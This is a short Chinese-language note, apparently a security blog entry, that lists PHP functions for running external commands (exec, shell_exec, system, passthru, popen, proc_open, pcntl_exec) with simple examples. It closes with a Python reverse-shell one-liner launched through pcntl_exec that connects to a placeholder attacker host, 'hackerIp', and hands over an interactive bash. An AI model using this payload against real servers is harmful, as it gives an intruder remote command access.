0x00 前言
日常拾人牙慧
0x01 执行外部命令的函数
exec
function exec(string $command,array[optional] $output,int[optional] $return_value)
<?php
$array = Array();
exec("ls");//无输出
echo exec("ls");//这样才会有输出,且输出的是最后一行
exec("ls", $array);
print_r($array);
?>
不会直接将结果输出到页面中,返回结果的最后一行, 但是可以把所有结果存储到一个数组中,第三个参数用来接收命令执行后的返回状态,执行成功为0。
shell_exec和反引号
shell_exec ( string $cmd) : string
<?php
shell_exec('dir');//无输出
echo shell_exec("dir");//输出全部
echo `dir`;//反引号
?>
shell_exec和exec的区别就是,shell_exec会返回所有的结果而不是最后一行,相同点是,两者都不会将结果直接输出到页面上。反引号实际就等于shell_exec。
system
function system(string $command,int[optional] $return_value)
<?php
system("ls");
?>
和exec和shell_exec不同的是,system函数会直接将结果输出到页面上,其第二个参数与exec第三个参数一样。
passthru()
passthru ( string $command , int &$return_var= ? ) : void
<?php
passthru("ls");
?>
也是直接将结果输出到页面上,但是其可以输出二进制数据,可以用它直接将图像流输出,将图片输出到浏览器。
popen
popen ( string
$command, string
$mode ) : resource
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 ‘r’,返回的文件指针等于命令的 STDOUT,当模式为 ‘w’,返回的文件指针等于命令的 STDIN。
<?php
$test = "ls /tmp/test";
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 1024);//fread($fp,1024);
echo $out; //打印出来
}
pclose($fp);
proc_open
proc_open ( mixed $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
与popen类似,但是可以双向管道,并且功能更加强大。
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
/*$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
*/
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>
pcntl_exec
pcntl_exec ( string $path , array $args = ? , array $envs = ? ) : void
要使用pcntl_exec必须在PHP中安装了pcntl插件,并且是在Linux下(该插件是PHP在linux下的一个拓展)。该插件可以让PHP支持多线程。
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
因为一般Linux下默认有Python,所以可以利用它来反弹一下shell
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("hackerIp",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
以后再写🕊